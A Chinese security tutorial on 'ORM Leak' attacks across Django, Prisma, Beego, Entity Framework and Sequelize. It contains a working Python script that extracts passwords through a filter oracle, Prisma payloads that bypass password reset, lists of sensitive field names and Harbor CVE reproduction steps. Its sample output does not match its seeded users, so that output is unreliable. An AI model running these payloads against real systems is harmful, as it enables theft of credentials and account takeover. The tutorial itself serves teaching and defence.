ORM Leaking 深度攻防：当数据库查询变成信息泄露通道
渗透测试
本文介绍ORM Leak如何 利用搜索/过滤功能把 ORM 查询变成预言机，通过响应差异逐字符窃取数据库敏感
前言 -- ### 背景 ORM（Object Relational Mapping）是当代 Web 开发中最基础的数据层抽象。说白了就是让开发者用面向对象的方式操作数据库，不用直接写 SQL。国内几乎所有主流 Web 应用都在跑 ORM：Java 的 Spring Data JPA / MyBatis Plus、Python 的 Django ORM / SQLAlchemy、Node.js 的 Prisma / Sequelize、Go 的 GORM / Beego ORM、.NET 的 Entity Framework。 开发效率确实高，几行代码就能搞定复杂的数据库查询。 但有个问题很少有人深入讨论：**当用户输入能控制 ORM 的查询参数时，ORM 的灵活性反而成了一条隐蔽的信息泄露通道。** 这不是一个新的漏洞类别，而是一个被长期忽视的攻击面。 ### 什么是 ORM Leak 一句话概括：**攻击者利用 Web 应用的搜索/过滤/排序功能，把 ORM 的查询能力当作"预言机"（Oracle），通过响应的差异逐字符推断数据库中的敏感数据。** 讲白了就是，开发者把用户输入的字段名或查询条件直接传给 ORM 时，攻击者就可以让 ORM 去查原本不该暴露的字段——password hash、reset token、TFA secret、API key 这些。 然后通过"返回了多少条"来判断猜测对不对。 简单理解 ORM 做了什么： 用户名 = "admin" User.objects.filter(用户名\_\_包含="admin") ORM 自动翻译成： SELECT \* FROM users WHERE username LIKE '%admin%'; ### ORM Leak 与传统 SQL 注入的本质区别 很多人第一次听到 ORM Leak，直觉反应是："这不就是 SQL 注入吗？" 其实差远了： | 维度 | SQL 注入 | ORM Leak | |---|---|---| | 攻击方式 | 在输入中嵌入 SQL 语句（`' OR 1=1--`） | 用应用的正常搜索/过滤功能 | | 检测难度 | WAF 有成熟的检测规则 | WAF 完全无法区分（看起来是正常请求） | | 利用条件 | 需要 ORM 或拼接处的输入过滤不严 | **开发者主动**把用户输入传给了 filter 参数 | | 数据库交互 | 直接控制 SQL 语句 | 由 ORM 生成 SQL，攻击者控制的只是参数 | | 日志特征 | 明显异常（包含 SQL 关键字） | 和正常搜索请求没差别 | | 防御现状 | WAF + 预编译 + 输入过滤，生态成熟 | 几乎没有防御意识 |  SQL 注入是"攻击者突破了防御"，ORM Leak 是"**开发者主动把大门打开了**"。 说实话，这比 SQL 注入更难防——因为防御者根本意识不到这是个问题。 ### ORM Leak 与 XS-Leak 的类比 如果你熟悉前端安全中的 XS-Leak（跨站侧信道泄露），会发现 ORM Leak 的思路和它很像： - **XS-Leak**：攻击者在浏览器端通过侧信道（响应大小、执行时间、错误信息）推断跨域资源的敏感信息 - **ORM Leak**：攻击者在服务端通过侧信道（响应大小、执行时间、错误信息）推断数据库中的敏感信息 本文从原理、实践、工具、案例、防御五个层面完整梳理 ORM Leak 攻击面： 1. **攻击原理**：三种预言机的机制和利用方式 2. **框架手法**：覆盖 Django、Prisma、Beego、Entity Framework、Sequelize 五大框架 3. **实战复现**：提供可运行的实验环境和 PoC 代码 4. **工具开发**：开源一个 ORM Leak 自动化扫描工具 5. **真实 CVE**：分析 Harbor、Directus、Label Studio、Strapi 的真实案例 6. **防御体系**：白名单、类型校验、OData 安全配置 - - - - - - 一、攻击原理基础 -------- ### 1.1 预言机（Oracle）的三种形式 ORM Leak 攻击的核心是建立一个"预言机"——一种可以让你通过观察响应来判断条件真假的机制。 有三种不同的形式可用，选哪个看具体场景。 #### 形式一：响应长度预言机 最常见、最可靠的利用方式，95% 以上的场景都能用这个。 **原理很简单：** 攻击者用 `password__startswith=a` 过滤用户列表时，ORM 生成的 SQL 大概是： SELECT \* FROM users WHERE password LIKE 'a%'; 密码以 'a' 开头的用户有 3 个 → 返回 3 条。以 'b' 开头的有 0 个 → 返回 0 条。响应体大小明显不一样，攻击者就靠这个差异判断哪些密码前缀存在。 **检测方法：** 在 Burp Suite 里发两个请求，比较响应长度： GET /api/users?field=password\_\_startswith=a HTTP/1.1 GET /api/users?field=password\_\_startswith=b HTTP/1.1 两次长度不一样 → password 字段确实在参与过滤，而且以 'a' 开头的密码存在。 说白了：不用直接看数据库，看"每次搜索返回了多少条"就能猜出密码。  #### 形式二：响应时间预言机 响应长度不好使的时候——比如搜索结果总是固定返回分页数据——时间差可以顶上。 **原理：** 有些 ORM 支持在过滤条件里搞复杂表达式，攻击者可以构造计算密集型的查询，让"命中"和"不命中"的响应时间差足够大，能测出来。 **适用场景：** - Prisma ORM 支持 ReDoS（正则表达式拒绝服务）payload - 数据库层面的复杂计算（MySQL 的 `BENCHMARK()` 通过 ORM 的 `RAW` 查询间接调） - 大数据量表的关联查询 **局限：** 时间预言机容易受网络抖动和数据库负载影响，得多采样取平均值，利用速度慢。一般只在前一种不可用时才上。 #### 形式三：错误信息预言机 前面两种都搞不定的时候，错误信息是最后的方案。 **原理：** 某些 ORM 或数据库配置会把 SQL 错误信息直接返回给客户端。攻击者故意触发错误，从错误信息里推断数据结构。 **适用场景：** - MySQL ReDoS 导致的正则错误 - 类型不匹配导致的隐式转换错误 - ORM 层面的字段不存在错误  **一句话：三种预言机解决的是同一个问题——"我怎么知道我猜对了"。** ### 1.2 核心攻击流程 不管用哪种预言机，攻击流程都一样： Step 1: 识别可注入的过滤端点 Step 2: 探测哪些敏感字段可过滤 Step 3: 选择可用的预言机类型 Step 4: 逐字符枚举敏感数据 Step 5: 还原完整的敏感信息 #### Step 1：识别过滤端点 找那些允许用户过滤数据的接口。常见特征： - URL 里有 `q`、`search`、`filter`、`query` 这些参数 - 带搜索框、高级筛选的页面 - API 的 `?field=value` 模式 - OData API 的 `$filter` 选项 - GraphQL API 的 `where` 参数 #### Step 2：探测敏感字段 拿常见敏感字段名挨个试： sensitive\_fields \\= \[ "password", "password\_hash", "passwd", "salt", "password\_salt", "token", "reset\_token", "resetToken", "reset\_token\_hash", "tfa\_secret", "tfa\_token", "two\_factor\_secret", "api\_key", "apiKey", "apikey", "secret", "secret\_key", "secretKey", "private\_key", "privateKey", "session\_token", "sessionToken", "oauth\_token", "oauthToken", "refresh\_token", "refreshToken", "email\_verification\_token", "verification\_token", "stripe\_key", "aws\_secret", "jwt\_secret", \] 观察响应变化来判断该字段能不能用来过滤。 #### Step 3：选择预言机 响应长度差异 → 最快最可靠 响应时间差异 → 次选，速度慢 错误信息差异 → 兜底 #### Step 4：逐字符枚举 以 `startswith` 为例，枚举密码哈希： 假设数据库中有用户的 password 为 "pbkdf2\_sha256$..." 第一轮（第1个字符）： password\_\_startswith=a → 无匹配（长度不变） password\_\_startswith=b → 无匹配 ... password\_\_startswith=p → 有匹配（长度变化）← 首字符是 p 第二轮（第2个字符）： password\_\_startswith=pa → 无匹配 password\_\_startswith=pb → 有匹配 ← 第二字符是 b ... 第三轮继续... 理论上每轮最多试 charset 大小次（通常 60-80 个字符），一个 60 位的 bcrypt 哈希大约需要 60 × 40（平均尝试次数）= 2400 次请求。 但说实话，有更好的办法——二分查找。用 `gt`（大于）/`lt`（小于）： 目标：确定第1个字符的数据序位置 假设字符集排序为：0123456789ABCDEF... 第1次：password\_\_gt=m → 有匹配 → 目标 > 'm' 第2次：password\_\_gt=z → 无匹配 → 目标 < 'z' 第3次：password\_\_gt=t → 有匹配 → 目标 > 't' 第4次：password\_\_gt=w → 无匹配 → 目标 < 'w' 第5次：password\_\_gt=v → 无匹配 → 目标 < 'v' 第6次：password\_\_gt=u → 无匹配 → 目标 < 'u' → 首字符是 't' 二分查找把每次请求的信息量从"1/80"提到"1/2"，效率直接翻倍。 #### Step 5：还原数据 所有字符提取完成后，拼接得到完整的敏感数据，如 password hash、reset token 等。 ### 1.3 数据库排序规则（Collation）的影响 用 `gt`/`lt` 做二分查找时，数据库的排序规则直接决定字符顺序。 不同数据库差异很大： | 数据库 | 默认排序规则 | 是否区分大小写 | 特殊字符排序 | |---|---|---|---| | MySQL 8.0 | `utf8mb4_0900_ai_ci` | 不区分 | 符号 < 数字 < 字母 | | MariaDB | `latin1_swedish_ci` | 不区分 | 符号 < 数字 < 字母 | | MSSQL | `SQL_Latin1_General_CP1_CI_AS` | 不区分 | 复杂重排序 | | PostgreSQL | 依赖系统 locale | 取决于 locale | locale 依赖 | | SQLite | Binary（NO PAD） | LIKE 不区分 | 按二进制 | 拿 MSSQL 默认排序规则来说，字符排序是这样的： '-!'#$%&()\*,./:;?@\[\\\]^\_{|}~+<=>0123456789AabBCcdDEefFGghHIijJKklLMmnNOopPQqrRSstTUuvVWwxXYyzZ 大写字母和小写字母是**交错排列**的，特殊字符全排在数字和字母前面。要是二分查找时假设了 ASCII 顺序，结果全错。 所以动手之前，先测排序规则。 二分查找前需要确定三个基准位置： GET /api/users?field\\=password\_\_gt\\= → 看哪个字符"只排在空格前面" GET /api/users?field\\=password\_\_gt\\='0' → 确定数字和符号的分界 GET /api/users?field\\=password\_\_gt\\='Z' → 确定大小写是否交错  ### 1.4 ORM 层面的大小写处理差异 除了数据库排序规则，不同 ORM 在应用层对大小写的处理也不一样： | ORM | 大小写处理 | 对攻击的影响 | |---|---|---| | Django/Beego | 应用层尝试区分大小写 | `startswith` 在 SQLite 上失效，需改用 `regex` | | Prisma | 由数据库排序规则决定 | 直接依赖数据库的 CI/CS 设置 | | Entity Framework | 由数据库排序规则决定 | 同 Prisma | 说白了：SQLite 上用 Django 时，`__startswith=a` 和 `__startswith=A` 行为一样（不区分大小写），得改用 `__regex=^a` 才能区分。 **ORM 帮你省了写 SQL 的功夫，但它不会帮你拦着不该搜的字段。** - - - - - - 二、各 ORM 框架的攻击手法详解 ----------------- ### 2.1 Django ORM（Python） Django ORM 是 Python 生态最广泛使用的 ORM，也是 ORM Leak 攻击面里最典型的案例。 #### 漏洞模式：动态字段名 `filter()` 方法接受 `**kwargs`，最危险的写法是： def search\_users(request): field \\= request.GET.get('field', 'username') # 用户控制字段名 value \\= request.GET.get('value', '') users \\= User.objects.filter(\*\*{f"{field}\_\_startswith": value}) return JsonResponse({"count": users.count()}) 这段代码生成的 SQL 取决于用户传了什么 `field`： SELECT COUNT(\*) FROM auth\_user WHERE username LIKE 'admin%'; SELECT COUNT(\*) FROM auth\_user WHERE password LIKE 'pbkdf2%'; Django ORM 不管用户按什么字段过滤——只要字段名在模型上存在，就能用。 #### 攻击向量：关系型过滤（Relational Filtering） Django 有个很强大的特性——跨模型关系查询。在这里恰恰成了攻击面。 模型有外键关联时，通过双下划线（`__`）能跨多层关系： SELECT ... FROM articles INNER JOIN auth\_user ON articles.created\_by\_id \\= auth\_user.id WHERE auth\_user.password LIKE 'pbkdf2%'; 不需要直接暴露 User 模型的 API——攻击者通过 Article 的 API 就能"间接"过滤出 password 信息。 说实话，这个攻击向量特别隐蔽。 #### 攻击向量：正则表达式操作符 `__regex` 操作符在 SQLite 上保留了大写和小写的区别（因为 SQLite 的 `LIKE` 默认不区分大小写）： User.objects.filter(password\_\_startswith\\='pbkdf2') User.objects.filter(password\_\_startswith\\='PBKDF2') User.objects.filter(password\_\_regex\\='^pbkdf2') # 只匹配小写 User.objects.filter(password\_\_regex\\='^PBKDF2') # 只匹配大写 #### 检测方法：静态源码扫描 Django 项目里用 semgrep 检测 ORM Leak 风险： rules: - id: django-orm-dynamic-lookup patterns: - pattern: | $MODEL.objects.$METHOD(\*\*{$KEY: $VALUE}) - metavariable-pattern: metavariable: $KEY pattern: $VAR message: "Potential ORM Leak: dynamic field name in filter() kwargs" languages: \[python\] severity: WARNING - id: django-orm-q-expression patterns: - pattern: | Q(\*\*{$KEY: $VALUE}) - metavariable-pattern: metavariable: $KEY pattern: $VAR message: "Potential ORM Leak: dynamic field name in Q() expression" languages: \[python\] severity: WARNING ### 2.2 Prisma（TypeScript / Node.js） Prisma 是 Node.js 生态最流行的 ORM 之一。和 Django 的字符串表达式不同，Prisma 用对象语法，攻击方式也不一样。 #### 漏洞模式：对象类型混淆 Prisma 的查询条件用对象字面量。开发者期望传字符串，但攻击者传了一个对象——Prisma 照样接受并处理： ```js app.post('/api/reset-password', async (req, res) \=> { const { resetToken } \= req.body; const user \= await prisma.user.findFirst({ where: { resetToken: resetToken as string } }); if (user) { return res.json({ success: true }); } }); ``` 攻击者发的不是字符串，是带 Prisma 操作符的对象： {"resetToken": "a1b2c3d4e5f6"} {"resetToken": {"not": ""}} {"resetToken": {"contains": "a"}} {"resetToken": {"contains": ""}} #### Prisma 操作符注入的三种入口 Prisma 的漏洞入口比 Django 多： **入口一：JSON Body（最直接）** POST /api/reset-password HTTP/1.1 Content-Type: application/json {"resetToken": {"not": ""}} 这种方式最容易被注意到——Content-Type 是 JSON，整个 body 就是个对象。 **入口二：URL-encoded 扩展模式（更隐蔽）** POST /api/reset-password HTTP/1.1 Content-Type: application/x-www-form-urlencoded resetToken\[not\]= Express 等框架会把 `resetToken[not]=` 解析为 `{ resetToken: { not: '' } }`——和直接发 JSON 对象效果完全一样。 **入口三：Cookie（最隐蔽）** GET /api/profile HTTP/1.1 Cookie: session=j:{"resetToken":{"not":""}} 如果应用用了 cookie-parser 中间件，`j:` 前缀会触发 `JSON.parse`，把 cookie 值解析成 JavaScript 对象。 #### Prisma 的认证绕过攻击 这是 Prisma ORM Leak 最有实战价值的攻击场景： ```js app.post('/api/reset-password', async (req, res) \=> { const { resetToken } \= req.body; const user \= await prisma.user.findFirst({ where: { resetToken: resetToken } }); if (!user) { return res.status(401).json({ error: "Invalid token" }); } const newPassword \= generateRandomPassword(); await prisma.user.update({ where: { id: user.id }, data: { password: hashPassword(newPassword) } }); return res.json({ newPassword }); // 新密码泄露给攻击者！ }); ``` 攻击流程： ```js POST /api/reset-password Content-Type: application/json {"resetToken": {"not": ""}} ``` ```js POST /api/login Content-Type: application/json {"username": "admin", "password": "xK8#mP2..."} ``` 一步从"无 Token"到"任意用户密码重置"——不需要知道任何人的 resetToken 值。  ### 2.3 Beego ORM（Go） Beego 是 Go 生态广泛使用的 Web 框架，它的 ORM 提供了类似 Django 的过滤语法。但 Beego 的实现在做了一件特别离谱的事。 #### 漏洞模式：表达式解析器覆盖机制 `qs.Filter(key, value)` 方法会把 key 按双下划线（`__`）分割： key = "username\_\_contains" → 分割为 \["username", "contains"\] → 第一段 username = 字段名 → 第二段 contains = 操作符 关系型查询时 key 可能是： key = "created\_by\_\_username\_\_contains" → 分割为 \["created\_by", "username", "contains"\] → created\_by = 关系字段 → username = 关联模型的字段 → contains = 操作符 核心问题在 **parseExprs 函数的字段覆盖机制**。某个段不是有效关联字段时，Beego 不报错，而是拿下一个段覆盖前一个： ```js func parseExprs(expr string) (field, operator string) { parts :\= strings.Split(expr, "\_\_") if len(parts) \== 1 { return parts\[0\], "exact" } if len(parts) \== 2 { return parts\[0\], parts\[1\] } if len(parts) \>= 3 { return parts\[1\], parts\[2\] // ← 覆盖！ } } ``` 这意味着攻击者可以这样构造 key： qs.Filter("email\_\_password\_\_startswith", "a") Beego 实际解析结果是 `password__startswith`——第一段 `email` 被直接丢弃，第二段 `password` 成了实际过滤的字段名。 说白了，这就是一个设计缺陷被当成了功能。 #### 真实案例：Harbor CVE-2025-30086 Harbor 是一个 27k+ GitHub stars 的开源容器镜像仓库，它的用户管理 API 就用 Beego ORM。 **漏洞发现过程：** 安全研究员 Alex Brown 通过 Sourcegraph 搜 `qs.Filter(variable, ...)` 模式（variable 是用户可控的），在 Harbor 代码库里找到了： func setFilters(qs \*orm.QuerySeter, filters map\[string\]interface{}) { for key, value :\\= range filters { qs \\= qs.Filter(key, value) } } 调用路径：`GET /api/v2.0/users?q=email=~attacker.com` Harbor 把 `q` 参数解析为 `{"email__icontains": "attacker.com"}`，然后调 `qs.Filter("email__icontains", "attacker.com")`。 **三层补丁绕过：** Harbor 团队打了三层补丁才完全修掉这个漏洞，每层都被绕过： | 补丁版本 | 补丁策略 | 绕过方式 | |---|---|---| | v2.13.0 | 只验证第一段字段名是否在允许列表中 | `email__password__startswith`——第一段是 `email`（在白名单），但 Beego 覆盖机制使实际过滤的是 `password` | | v2.13.1-rc1 | 限制最多一个 `__`（不能有多个段） | 用模糊匹配：`email=~password`——Harbor 检测到 `=~` 会追加 `__icontains`，变成 `email__password__icontains` | | v2.14.0 | 对第二个段做操作符白名单 | 最终修复——只允许 `__icontains`、`__in`、`__gte`、`__lte`、`__gt`、`__lt`、`__exact` |  ### 2.4 Entity Framework（C# / .NET） Entity Framework（EF）不像前面几种那样直接接受用户控制的字段名，但实际应用中也有两个高风险场景。 #### 场景一：OData API OData 是 ASP.NET 应用里广泛使用的 RESTful 协议标准。它的 `$filter` 选项允许客户端指定过滤条件： GET /odata/Users?$filter=startswith(Username, 'admin') HTTP/1.1 GET /odata/Users?$filter=Password gt 'm' HTTP/1.1 ← 敏感字段可访问！ 看看这个配置： ```js \[EnableQuery( AllowedFunctions \= AllowedFunctions.None, AllowedQueryOptions \= AllowedQueryOptions.Filter // 但 Filter 本身是开启的 )\] ``` `startswith`、`contains`、`endswith` 确实被禁用了。但 `gt`、`lt`、`ge`、`le`、`eq` 是 OData Filter 系统的基本功能，不属于"函数"，**不受这个限制**。 后果很直接： $filter=startswith(Password, 'a') → 403 被禁用 $filter=Password gt 'm' → 正常返回所有密码 > 'm' 的用户 $filter=Password lt 'a' → 正常返回所有密码 < 'a' 的用户 配合二分查找，逐位确定密码哈希的每个字符。 **更隐蔽的风险：** 即使开发者配置了 `EntitySet` 只暴露 `Article` 模型，如果 Article 有外键关联到 User，OData 的 EDM（Entity Data Model）**会自动包含关联模型**： builder.EntitySet<Article>("Articles");  #### 场景二：反射构建 LINQ 查询 .NET 生态中有一个常见的开发模式——通过反射获取模型的所有字符串属性，然后对每个属性应用搜索条件： ```js public static IQueryable<T\> TextFilter<T\>(this IQueryable<T\> query, string text) { var stringProperties \= typeof(T) .GetProperties() .Where(p \=> p.PropertyType \== typeof(string)) .ToList(); if (!stringProperties.Any()) return query.Where(e \=> false); var parameter \= Expression.Parameter(typeof(T), "e"); Expression predicate \= null; foreach (var property in stringProperties) { var propertyAccess \= Expression.MakeMemberAccess(parameter, property); var containsMethod \= typeof(string).GetMethod("Contains", new\[\] { typeof(string) }); var containsExpression \= Expression.Call(propertyAccess, containsMethod, Expression.Constant(text)); predicate \= predicate \== null ? (Expression)containsExpression : Expression.OrElse(predicate, containsExpression); } return query.Where(Expression.Lambda<Func<T, bool\>>(predicate, parameter)); } ``` 这个模式看起来很便捷——一个搜索框搜所有字段。但如果 `T` 是 `User`，搜索框就会同时搜索 `Username`、**`Password`**、**`ApiToken`**、**`EmailVerificationToken`** 等所有字符串字段。 更严重的是，攻击者可以通过搜索特定字符串来推断密码的值： ```js POST /api/users/search Content-Type: application/json {"keyword": "pbkdf2"} ``` ```js POST /api/users/search Content-Type: application/json {"keyword": "pbkdf2\_sha256"} ``` ### 2.5 Sequelize（Node.js）及其他 ORM Sequelize 是 Node.js 生态另一个广泛用的 ORM。它用 ES6 Symbol 类型当操作符，不是字符串： ```js const { Op } \= require('sequelize'); User.findAll({ where: { username: { \[Op.like\]: 'admin%' // Op.like 是 Symbol，不是字符串 } } }); ``` 这种设计让 Sequelize 天然抵抗 ORM Leak——攻击者没法通过字符串输入控制 Symbol 操作符。 不过**问题出在中间层**。如果有个中间件把字符串映射为 Sequelize 操作符： ```js function parseWhereClause(queryParams) { const where \= {}; for (const \[key, value\] of Object.entries(queryParams)) { const \[field, operator\] \= key.split('\_\_'); where\[field\] \= { \[Op\[operator\]\]: value }; // Op 通过字符串索引访问！ } return where; } ``` 这个中间层把字符串操作符映射成 Sequelize 的 Symbol——等于把 Sequelize 自身的安全性设计给绕过去了。 ### 2.6 各框架攻击手法速查表 | 框架 | 语言 | 漏洞入口 | 关键检测特征 | 利用难度 | 利用方式 | |---|---|---|---|---|---| | **Django ORM** | Python | `filter(**{key: val})` | 动态 kwargs | ★☆☆ | 双下划线字段遍历 | | **Prisma** | TypeScript | `where: { [key]: val }` | 类型假设（string → object） | ★☆☆ | 对象操作符注入 | | **Beego ORM** | Go | `qs.Filter(key, val)` | 动态 filter key | ★★☆ | 表达式覆盖 + 字段遍历 | | **Entity Framework** | C# | OData `$filter` / 反射 LINQ | 搜索框搜索所有字段 | ★★☆ | 逻辑运算符二分查找 | | **Sequelize** | JS | 操作符映射中间件 | 字符串操作符 → Symbol 转换 | ★★☆ | 同 Django 模式 | | **Ransack** | Ruby | `q` 参数 | 搜索所有属性 | ★☆☆ | 同 Django 模式 | **说白了：核心就一个问题——你给了用户改字段名的权限，但没告诉 ORM 哪些字段不能查。每个框架的表现形式不一样，但本质都一样。** - - - - - - 三、实战环境搭建与漏洞复现 ------------- 四个可独立运行的实验环境，每个都配了完整的搭建步骤和 PoC 代码。 ### 3.1 环境一：Django ORM 过滤泄露 #### 搭建步骤 ```js mkdir orm\_leak\_lab && cd orm\_leak\_lab pip install django djangorestframework django-admin startproject config . python manage.py startapp users ``` 然后依次创建以下文件 ```js from django.db import models class User(models.Model): username \= models.CharField(max\_length\=100, unique\=True) password \= models.CharField(max\_length\=256) \# 敏感字段 email \= models.CharField(max\_length\=200) reset\_token \= models.CharField(max\_length\=64, null\=True, blank\=True) \# 敏感字段 tfa\_secret \= models.CharField(max\_length\=32, null\=True, blank\=True) \# 敏感字段 is\_active \= models.BooleanField(default\=True) def \_\_str\_\_(self): return self.username ``` ```js import hashlib import secrets from django.http import JsonResponse from django.db.models import Q from .models import User def search\_users(request): field \= request.GET.get('field', 'username') value \= request.GET.get('value', '') operator \= request.GET.get('op', 'contains') filter\_key \= f"{field}\_\_{operator}" try: users \= User.objects.filter(\*\*{filter\_key: value}) return JsonResponse({ "count": users.count(), "users": \[ {"id": u.id, "username": u.username, "email": u.email} for u in users\[:20\] \] }) except Exception as e: return JsonResponse({"error": str(e)}, status\=400) def search\_articles(request): pass ``` ```js from django.urls import path from users.views import search\_users urlpatterns \= \[ path('api/users', search\_users), \] ``` ```js python manage.py makemigrations users python manage.py migrate python manage.py shell ``` ```js from users.models import User test\_users \= \[ {"username": "admin", "password": "pbkdf2\_sha256$720000$abc123def456", "email": "admin@example.com"}, {"username": "user1", "password": "bcrypt$$2a$12$LJ3m4ysxV3mV3mC3m4ysxO", "email": "user1@example.com"}, {"username": "user2", "password": "argon2$v=19$m=65536,t=3,p=4$abc123def456", "email": "user2@example.com"}, {"username": "test", "password": "md5$5d41402abc4b2a76b9719d911017c592", "email": "test@example.com"}, \] for u in test\_users: User.objects.create(\*\*u) print("Test data added!") ``` ```js python manage.py runserver 0.0.0.0:8000 ``` 服务启动成功大概是这样的  #### 复现步骤 curl "[http://localhost:8000/api/users?field=username&value=admin&op=contains](http://localhost:8000/api/users?field=username&value=admin&op=contains)" curl "[http://localhost:8000/api/users?field=password&value=pbkdf2&op=startswith](http://localhost:8000/api/users?field=password&value=pbkdf2&op=startswith)" curl "[http://localhost:8000/api/users?field=password&value=x&op=startswith](http://localhost:8000/api/users?field=password&value=x&op=startswith)" -s | wc -c curl "[http://localhost:8000/api/users?field=password&value=p&op=startswith](http://localhost:8000/api/users?field=password&value=p&op=startswith)" -s | wc -c  #### 完整提取 PoC ```js import requests TARGET \= "http://127.0.0.1:8000" def search\_users(field, value, operator\="startswith"): try: r \= requests.get(f"{TARGET}/api/users", params\={ "field": field, "value": value, "op": operator }, timeout\=5) data \= r.json() return data.get("users", \[\]) except Exception as e: print(f"\\n\[!\] 请求出错: {e}") return \[\] def extract\_all\_passwords(): print("=== 各密码首字母的用户数 ===") for c in "abcdefghijklmnopqrstuvwxyz": users \= search\_users("password", c, "startswith") if len(users) \> 0: names \= \[u\["username"\] for u in users\] print(f" 以 '{c}' 开头的密码: {len(users)} 个用户 → {names}") print() def extract\_password(): base\_chars \= "abcdefghijklmnopqrstuvwxyz0123456789" extra\_chars \= "$\_=,.-/+!#%&\*@:ABCDEFGHIJKLMNOPQRSTUVWXYZ" extracted \= "" while len(extracted) < 120: found \= False for c in base\_chars: test \= extracted + c users \= search\_users("password", test, "startswith") if len(users) \> 0: extracted += c print(f"\\r\[+\] password: {extracted}", end\="", flush\=True) found \= True break if not found: for c in extra\_chars: test \= extracted + c users \= search\_users("password", test, "startswith") if len(users) \> 0: extracted += c print(f"\\r\[+\] password: {extracted}", end\="", flush\=True) found \= True break if not found: break print() return extracted if \_\_name\_\_ \== "\_\_main\_\_": extract\_all\_passwords() print("=== 开始逐字符提取密码 ===") password \= extract\_password() print(f"\\n完整密码: {password}") print("\\n=== 这个密码所属的用户 ===") users \= search\_users("password", password, "exact") for u in users: print(f" ID: {u\['id'\]} 用户名: {u\['username'\]} 邮箱: {u\['email'\]}") ```  运行结果示例： \\=== 各密码首字母的用户数 === 以 'a' 开头的密码: 1 个用户 → \['bob'\] 以 'b' 开头的密码: 1 个用户 → \['alice'\] 以 'm' 开头的密码: 1 个用户 → \['test'\] 以 'p' 开头的密码: 1 个用户 → \['admin'\] \\=== 开始逐字符提取密码 === \[+\] password: argon2$v=19$m=65536,t=3,p=4$abc123def456 完整密码: argon2$v=19$m=65536,t=3,p=4$abc123def456 \\=== 这个密码所属的用户 === ID: 3 用户名: bob 邮箱: bob@example.com 反思： 这种在团队管理功能点特别多的地方可以着重注意，而且别光看前端，说不定抓个包就能看到不一样的东西。 ### 3.2 环境二：Prisma 类型混淆认证绕过 #### 搭建步骤 ```js mkdir prisma-leak-lab && cd prisma-leak-lab npm init \-y ``` ```js npm install express @prisma/client prisma npx prisma init generator client { provider = "prisma-client-js" } datasource db { provider = "sqlite" url = "file:./dev.db" } model User { id Int @id @default(autoincrement()) username String @unique password String email String @unique resetToken String? // 密码重置令牌 tfaSecret String? // 双因素认证密钥 } ``` ```js const express \= require('express'); const { PrismaClient } \= require('@prisma/client'); const app \= express(); const prisma \= new PrismaClient(); app.use(express.json()); app.use(express.urlencoded({ extended: true })); app.post('/api/reset-password', async (req, res) \=> { const { resetToken } \= req.body; const user \= await prisma.user.findFirst({ where: { resetToken: resetToken } }); if (!user) { return res.status(401).json({ error: "Invalid reset token" }); } const characters \= 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz23456789!@#$'; let newPassword \= ''; for (let i \= 0; i < 12; i++) { newPassword += characters.charAt(Math.floor(Math.random() \* characters.length)); } await prisma.user.update({ where: { id: user.id }, data: { password: newPassword } }); res.json({ message: "Password reset successful", newPassword }); }); app.get('/api/users/search', async (req, res) \=> { const { field, value } \= req.query; const users \= await prisma.user.findMany({ where: { \[field\]: { contains: value } }, select: { id: true, username: true, email: true } }); res.json({ count: users.length, users }); }); async function main() { await prisma.$executeRawUnsafe('DROP TABLE IF EXISTS User'); await prisma.$executeRawUnsafe(\` CREATE TABLE User ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE NOT NULL, password TEXT NOT NULL, email TEXT UNIQUE NOT NULL, resetToken TEXT, tfaSecret TEXT ) \`); const users \= \[ { username: 'admin', password: 'pbkdf2\_sha256$720000$admin\_hash', email: 'admin@demo.com', resetToken: 'tok\_admin\_a1b2c3' }, { username: 'alice', password: 'bcrypt$2a$12$alice\_hash\_value', email: 'alice@demo.com', resetToken: 'tok\_alice\_d4e5f6' }, { username: 'bob', password: 'argon2$v=19$bob\_hash\_value', email: 'bob@demo.com', resetToken: 'tok\_bob\_g7h8i9' }, { username: 'test', password: 'md5$5d41402abc4b2a76', email: 'test@demo.com', resetToken: null }, \]; for (const u of users) { await prisma.user.create({ data: u }); } console.log('Test data added'); } main().then(() \=> { app.listen(3000, () \=> { console.log('Server running on http://localhost:3000'); }); }); ``` `npx prisma db push node index.js`  #### 复现步骤：认证绕过 ```js curl \-X POST http://localhost:3000/api/reset-password \\ \-H "Content-Type: application/json" \\ \-d '{"resetToken": "tok\_admin\_a1b2c3"}' curl \-X POST http://localhost:3000/api/reset-password \\ \-H "Content-Type: application/json" \\ \-d '{"resetToken": {"not": ""}}' curl \-X POST http://localhost:3000/api/reset-password \\ \-H "Content-Type: application/json" \\ \-d '{"resetToken": {"contains": ""}}' ```  ```js curl -X POST http://localhost:3000/api/reset-password \\ -H "Content-Type: application/x-www-form-urlencoded" \\ -d 'resetToken\[not\]=' ```  #### 复现步骤：数据泄露 ```js curl "http://localhost:3000/api/users/search?field=password&value=pbkdf2" curl "http://localhost:3000/api/users/search?field=tfaSecret&value=" ```  ### 3.3 环境三：Harbor CVE-2025-30086 复现 #### Docker 搭建 ```js docker pull goharbor/harbor-core:v2.12.0 wget https://raw.githubusercontent.com/goharbor/harbor/v2.12.0/make/docker-compose.yml docker-compose up \-d ```  #### 漏洞复现 新建三个测试用户  调用漏洞接口（这里的~A等同于 SQL 里的 `LIKE '%A%'`）为什么这里会出现这个问题是因为这个接口的q参数密钥限制过滤类型，原本是用于过滤邮箱的  成功返回三个用户，然后就是继续在 Repeater 里，把 A 改成更长的前缀，比如 `A` → `Ad` → `Adm` 然后一步一步爆破出来完整密码。 （注意在这个测试网站中，这个接口是没法在前端通过点击交互触发，这是一个内部接口，所以需要我们通过fuzz来获取，那么我们在src中应该如何找到这种接口呢） **第一步：找到过滤功能点** SRC 里常见的过滤功能点： API 文档 → 有 filter/search 参数 **第二步：BP 改参数，试敏感字段** 一个正常的搜索请求可能是 GET /api/users?username=admin 返回：{"count":1, "users":\[{...}\]} 你把 `username` 改成常见的敏感字段，看接口认不认： ```js GET /api/users?password=test GET /api/users?password\_\_startswith=a GET /api/users?q=password=~a GET /api/users?field=password&value=a ``` **怎么判断改对了：** 对比两个请求： 请求 A：?password\_\_startswith=a → 返回 3 个用户 请求 B：?password\_\_startswith=z → 返回 0 个用户 如果 A 和 B 的返回数量**不一样** → 说明 `password` 字段确实在参与过滤 → ORM Leak 存在。 - - - - - - **第三步：用的字段名清单** 不知道敏感字段名叫什么？用这个列表挨个试： password, passwd, password\_hash token, reset\_token, resetToken tfa\_secret, tfa\_token, two\_factor\_secret api\_key, apiKey, apikey 